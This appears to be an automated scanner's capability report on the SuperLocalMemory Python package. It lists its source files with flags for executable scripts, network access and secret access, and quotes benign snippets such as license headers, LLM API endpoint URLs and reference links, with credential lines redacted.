# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Access to secretsline 7
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Access to secretsline 40
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 75
[Credential-related source omitted] - Access to secretsline 78
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted] - Access to secretsline 100
[Credential-related source omitted] - Access to secretsline 103
[Credential-related source omitted]
src/superlocalmemory/ingestion/gmail_adapter.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 222
break try: _, data = conn.fetch(num, "(RFC822)") - Network accessline 223
try: _, data = conn.fetch(num, "(RFC822)") import email as email_lib - Network accessline 224
_, data = conn.fetch(num, "(RFC822)") - Access to secretsline 271
[Credential-related source omitted] - Access to secretsline 273
[Credential-related source omitted] - Network accessline 284
[Credential-related source omitted] - Network accessline 285
[Credential-related source omitted] - Access to secretsline 285
[Credential-related source omitted] - Network accessline 286
token_uri="https://oauth2.googleapis.com/token",
src/superlocalmemory/ingestion/import_roots.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/ingestion/parsers.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/ingestion/transcript_adapter.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/integrations/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/integrations/bounded_loops_mcp.py
- Executable scriptline 1
Executable file
src/superlocalmemory/integrations/bounded_loops_v051.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/adaptive.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/arm_catalog.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/assertion_miner.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/bandit.py
src/superlocalmemory/learning/bandit_cache.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/bandit_draw.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/behavioral.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/bootstrap.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/consolidation_cycle.py
src/superlocalmemory/learning/consolidation_quantization_worker.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/consolidation_worker.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/cross_project.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/database.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 505
# --- training-row fetch (version-gated on M006) --------------------
src/superlocalmemory/learning/dedup_hnsw.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/engagement.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 2
# Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com """ - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/engagement_features.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/ensemble.py
src/superlocalmemory/learning/entity_compiler.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 351
from superlocalmemory.core import outbound_http api_base = "http://localhost:11434" - Network accessline 352
api_base = "http://localhost:11434" - Network accessline 368
req = urllib.request.Request(
src/superlocalmemory/learning/fact_outcome_joins.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/features.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/feedback.py
- Executable scriptline 1
#!/usr/bin/env python3
src/superlocalmemory/learning/forgetting_metadata.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/forgetting_scheduler.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/hnsw_dedup.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/labeler.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/learning_state.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/legacy_migration.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/lifecycle_policy.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/lightgbm_subprocess.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/memory_merge.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/model_cache.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/model_rollback.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/outcome_events.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/outcome_queue.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/outcomes.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/pattern_miner.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/pattern_miner_constants.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/pcos.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/project_context.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/propensity.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/ranker.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/ranker_common.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/ranker_retrain_legacy.py
src/superlocalmemory/learning/ranker_retrain_online.py
src/superlocalmemory/learning/retrain_trigger.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/reward.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/reward_archive.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/reward_boost.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/reward_from_outcomes.py
- Executable scriptline 1
Executable file - Access to secretsline 87
[Credential-related source omitted] - Network accessline 149
).fetchall() except sqlite3.Error as exc: logger.debug("reward_from_outcomes: play fetch (%s): %s", columns, exc) - Network accessline 150
except sqlite3.Error as exc: logger.debug("reward_from_outcomes: play fetch (%s): %s", columns, exc) return [] - Network accessline 151
logger.debug("reward_from_outcomes: play fetch (%s): %s", columns, exc)
src/superlocalmemory/learning/reward_model.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/reward_proxy.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/shadow_serving.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/shadow_test.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/signal_kinds.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/signal_worker.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/signals.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/skill_health.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/skill_metrics.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/skill_performance_miner.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/learning/source_quality.py
- Executable scriptline 1
#!/usr/bin/env python3
src/superlocalmemory/learning/training_rows.py
- Executable scriptline 1
Executable file
src/superlocalmemory/learning/trigram_index.py
src/superlocalmemory/learning/workflows.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/llm/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/llm/backbone.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 42
_OPENAI_URL = "https://api.openai.com/v1/chat/completions" - Network accessline 43
_OPENROUTER_URL = "https://openrouter.ai/api/v1/chat/completions" - Network accessline 44
_ANTHROPIC_URL = "https://api.anthropic.com/v1/messages" - Network accessline 45
_ANTHROPIC_API_VERSION = "2023-06-01" _AZURE_API_VERSION = "2024-12-01-preview" _OLLAMA_DEFAULT_BASE = "http://localhost:11434" - Network accessline 47
_OLLAMA_DEFAULT_BASE = "http://localhost:11434" - Access to secretsline 50
[Credential-related source omitted] - Access to secretsline 51
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 95
[Credential-related source omitted] - Access to secretsline 139
[Credential-related source omitted] - Access to secretsline 143
[Credential-related source omitted] - Access to secretsline 159
[Credential-related source omitted] - Access to secretsline 160
[Credential-related source omitted] - Access to secretsline 163
[Credential-related source omitted] - Access to secretsline 234
[Credential-related source omitted] - Network accessline 300
socket.setdefaulttimeout(self._timeout + 30) try: timeout = httpx.Timeout( - Network accessline 301
try: timeout = httpx.Timeout( connect=10.0, - Network accessline 302
timeout = httpx.Timeout( - Access to secretsline 343
[Credential-related source omitted] - Network accessline 354
# V3.5.9: If base_url is a bare base (e.g. "http://host:port/v1") without
src/superlocalmemory/llm/ollama_reachability.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 69
response = httpx.get(f"{base}/api/tags", timeout=timeout)
src/superlocalmemory/loops/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/loops/artifact_revision.py
- Executable scriptline 1
Executable file
src/superlocalmemory/loops/budget.py
- Executable scriptline 1
Executable file
src/superlocalmemory/loops/check_definition.py
- Executable scriptline 1
Executable file
src/superlocalmemory/loops/check_lock.py
- Executable scriptline 1
Executable file
src/superlocalmemory/loops/check_output.py
- Executable scriptline 1
Executable file
src/superlocalmemory/loops/check_process.py
src/superlocalmemory/loops/engine.py
src/superlocalmemory/loops/execution_guard.py
- Executable scriptline 1
Executable file
src/superlocalmemory/loops/execution_receipts.py
- Executable scriptline 1
Executable file
src/superlocalmemory/loops/ledger.py
- Executable scriptline 1
Executable file
src/superlocalmemory/loops/models.py
- Executable scriptline 1
Executable file
src/superlocalmemory/loops/private_workspace.py
- Executable scriptline 1
Executable file
src/superlocalmemory/loops/process_sweep.py
src/superlocalmemory/loops/pytest_config.py
- Executable scriptline 1
Executable file
src/superlocalmemory/loops/receipt_gate.py
- Executable scriptline 1
Executable file
src/superlocalmemory/loops/receipt_jobs.py
- Executable scriptline 1
Executable file
src/superlocalmemory/loops/rules.py
- Executable scriptline 1
Executable file
src/superlocalmemory/loops/stop_reasons.py
- Executable scriptline 1
Executable file
src/superlocalmemory/math/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/math/contradiction_evidence.py
- Executable scriptline 1
Executable file
src/superlocalmemory/math/ebbinghaus.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/math/fisher.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 165
# Pinele et al. (2020), doi:10.3390/e22040404, Eq. 22 uses std dev. # Geomstats normal.py DiagonalNormalMetric applies sqrt to covariance: # https://github.com/geomstats/geomstats/blob/main/geomstats/information_geometry/nor - Network accessline 166
# Geomstats normal.py DiagonalNormalMetric applies sqrt to covariance: # https://github.com/geomstats/geomstats/blob/main/geomstats/information_geometry/normal.py # Reference checked 2026-10-11. Our storage/public inputs are - Network accessline 167
# https://github.com/geomstats/geomstats/blob/main/geomstats/information_geometry/normal.py
src/superlocalmemory/math/fisher_quantized.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 190
# closer reduces the geodesic (Pinele et al., doi:10.3390/e22040404; # arXiv:2604.04514, Definition 4.2 does not imply Proposition 4.3). # https://github.com/geomstats/geomstats/blob/main/geomstats/information_geometry/norma - Network accessline 191
# arXiv:2604.04514, Definition 4.2 does not imply Proposition 4.3). # https://github.com/geomstats/geomstats/blob/main/geomstats/information_geometry/normal.py, # checked 2026-10-11). This bounded ranking feature is an SLM p - Network accessline 192
# https://github.com/geomstats/geomstats/blob/main/geomstats/information_geometry/normal.py,
src/superlocalmemory/math/hopfield.py
- Executable scriptline 1
Executable file - Network accessline 77
# beta is a free inverse temperature, not a mandated 1/sqrt(d). # Author implementation permits explicit scaling (checked 2026-10-11): # https://github.com/ml-jku/hopfield-layers/blob/master/hflayers/functional.py - Network accessline 78
# Author implementation permits explicit scaling (checked 2026-10-11): # https://github.com/ml-jku/hopfield-layers/blob/master/hflayers/functional.py # Scaling sqrt(d)-norm Q/K by 1/sqrt(d) is equivalent to scaling - Network accessline 79
# https://github.com/ml-jku/hopfield-layers/blob/master/hflayers/functional.py
src/superlocalmemory/math/langevin.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/math/orthogonal.py
- Executable scriptline 1
Executable file
src/superlocalmemory/math/polar_quant.py
- Executable scriptline 1
Executable file
src/superlocalmemory/math/qjl.py
- Executable scriptline 1
Executable file - Network accessline 118
This is the asymmetric estimator from the QJL paper: correction = sqrt(pi/(2*m)) * ||residual|| * dot(R @ query, signs) See https://arxiv.org/html/2406.03482, Definition 3.1, Equation 4; - Network accessline 119
correction = sqrt(pi/(2*m)) * ||residual|| * dot(R @ query, signs) See https://arxiv.org/html/2406.03482, Definition 3.1, Equation 4; https://arxiv.org/html/2504.19874, Algorithm 2 stores ||residual||. - Network accessline 120
See https://arxiv.org/html/2406.03482, Definition 3.1, Equation 4; - Network accessline 121
https://arxiv.org/html/2504.19874, Algorithm 2 stores ||residual||.
src/superlocalmemory/math/sheaf.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/math/turbo_quant.py
- Executable scriptline 1
Executable file - Network accessline 84
Lloyd conditional means and midpoint partitions, with quantile seeds, avoid the empty tail cells of uniform initialization in [-1,1]. Reference checked 2026-10-11: https://arxiv.org/abs/2504.19874 - Network accessline 85
avoid the empty tail cells of uniform initialization in [-1,1]. Reference checked 2026-10-11: https://arxiv.org/abs/2504.19874 2026 community reference (not author code), Gaussian at d>=64: - Network accessline 86
Reference checked 2026-10-11: https://arxiv.org/abs/2504.19874 - Network accessline 87
2026 community reference (not author code), Gaussian at d>=64: https://github.com/OnlyTerp/turboquant/blob/1891cdd2ee60514dbd6dd0172ea3dcf00a3b0306/src/cache.py compute_lloyd_max_codebook uses conditional means and midpoint partitio - Network accessline 88
https://github.com/OnlyTerp/turboquant/blob/1891cdd2ee60514dbd6dd0172ea3dcf00a3b0306/src/cache.py
src/superlocalmemory/mcp/__init__.py
- Executable scriptline 1
Executable file
src/superlocalmemory/mcp/_daemon_proxy.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/_pool_adapter.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/_recall_metadata.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/_remember_kind.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/_stdin_guard.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/agent_context.py
src/superlocalmemory/mcp/cli_fallback.py
src/superlocalmemory/mcp/compression_service.py
- Executable scriptline 1
Executable file
src/superlocalmemory/mcp/http_transport.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/local_lifecycle.py
- Executable scriptline 1
Executable file
src/superlocalmemory/mcp/loop_runner.py
- Executable scriptline 1
Executable file
src/superlocalmemory/mcp/profile_names.py
src/superlocalmemory/mcp/profiles.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/remote_caller.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/remote_visibility.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/request_deadline.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/request_profile.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/resources.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/server.py
- Executable scriptline 1
Executable file - Network accessline 3
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Network accessline 5
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/session_binding.py
src/superlocalmemory/mcp/session_schedule.py
- Executable scriptline 1
Executable file
src/superlocalmemory/mcp/session_start.py
- Executable scriptline 1
Executable file
src/superlocalmemory/mcp/shared.py
- Executable scriptline 1
Executable file
src/superlocalmemory/mcp/tool_gate.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/tool_hints.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V4 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/tools.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
src/superlocalmemory/mcp/tools_active.py
- Executable scriptline 1
Executable file
src/superlocalmemory/mcp/tools_brain.py
- Executable scriptline 1
Executable file
src/superlocalmemory/mcp/tools_code_graph.py
src/superlocalmemory/mcp/tools_context.py
- Executable scriptline 1
Executable file
src/superlocalmemory/mcp/tools_core.py
- Network accessline 1
